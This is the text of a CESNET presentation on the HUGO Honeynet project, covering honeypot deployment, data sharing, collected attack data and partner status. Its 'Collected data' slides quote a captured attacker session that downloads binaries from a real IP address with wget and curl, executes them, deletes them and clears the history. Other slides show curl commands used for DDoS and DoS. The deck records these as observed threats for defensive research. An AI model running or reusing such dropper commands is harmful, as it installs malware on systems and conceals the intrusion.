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Introduction

 CESNET
 Czech academic network
 Strong focus on network monitoring & security

 Honeypots at CESNET
 HUGO Honeynet project
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HUGO Honeynet

 HUGO Honeynet
 Goal: build a network of honeypots in organizations of different types / sectors

 What do we need:

1) Prepackaged honeypot + configuration (use common open-source honeypots)

2) Integrated data sharing + central monitoring
 Sharing via Warden – an existing community operated by CESNET

3) To find people (orgs) willing to deploy a honeypot in their network

   Deployment and operation must be as easy as possible
   + legal aspects of data sharing
        → creation of a „community agreement with dyployment of a honeypot into network“
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HUGO Honeypot – technical solution
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HUGO Honeypot – technical solution
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Coming soon ...
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Deployment from a user’s point of view
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Deployment from a user’s point of view
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Our view
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Collected data

 What data we get
 IP addresses of attackers / scanners
 Usernames and passwords
 Commands enetered

uname -a

grep -c ^processor /proc/cpuinfo

#!/bin/sh
PATH=...
wget http://43.249.172.195:888/112
curl -O http://43.249.172.195:888/112
chmod +x 112
./112
wget http://43.249.172.195:888/112s
curl -O http://43.249.172.195:888/112s
chmod +x 112s
./112s
rm -rf 112.sh
rm -rf 112
rm -rf 112s
history -c
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Collected data

 What data we get
 IP addresses of attackers / scanners
 Usernames and passwords
 Commands enetered
 URLs hosting malware
 Malware samples

uname -a

grep -c ^processor /proc/cpuinfo

#!/bin/sh
PATH=...
wget http://43.249.172.195:888/112
curl -O http://43.249.172.195:888/112
chmod +x 112
./112
wget http://43.249.172.195:888/112s
curl -O http://43.249.172.195:888/112s
chmod +x 112s
./112s
rm -rf 112.sh
rm -rf 112
rm -rf 112s
history -c

URL Evaluator
(a separate project)
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Collected data

curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
curl -o /dev/null https://www.example.com
...
(repeats 2000 times)

Honeypot misused for a DDoS attack

→ limit outgoing connections (in FW)

https://www.example.com/
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Collected data

curl http://test-debit.free.fr/10485760.rnd --output /dev/null

DoS against a honeypot

→ limit size of downloaded content

→ auto-restart

Infinite stream of random data!
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How we use the data ...

...Honeypot

https://nerd.cesnet.cz/
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Honeynet status

 Community – current state
 Deployed (always both Corwie & Dionaea)

 CESNET
 5 universities in CZ + 1 in SK
 1 public body (regional government network)
 1 commercial ICT provider

 Promised, in process ...
 3 hospitals
 2 universities

+ discussing with several others

 More deployments in GÉANT ...
 2 NRENs online
 7 others interested to join
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Collaboration

Deploy a HUGO honeypot
in your network

It’s really simple!

You only need:
● a virtualization platform

● a public IP address
● 10 minutes of your time

Collaborate on data analysis

If you have experience with

malware analysis

or some other relevant topic,

we can share the data.

Just contact us.

or



Questions?

More info:
https://hugo.cesnet.cz/en/
bartos@cesnet.cz | sec-op@cesnet.cz

Supported as part of financial support to third parties (FSTP) within the project National 
Coordination Center in the Czech Republic (NCC-CZ, project no. 101127941) co-financed 
by the Digital Europe program. 
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URL Evaluator overview
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URL Evaluator algorithm
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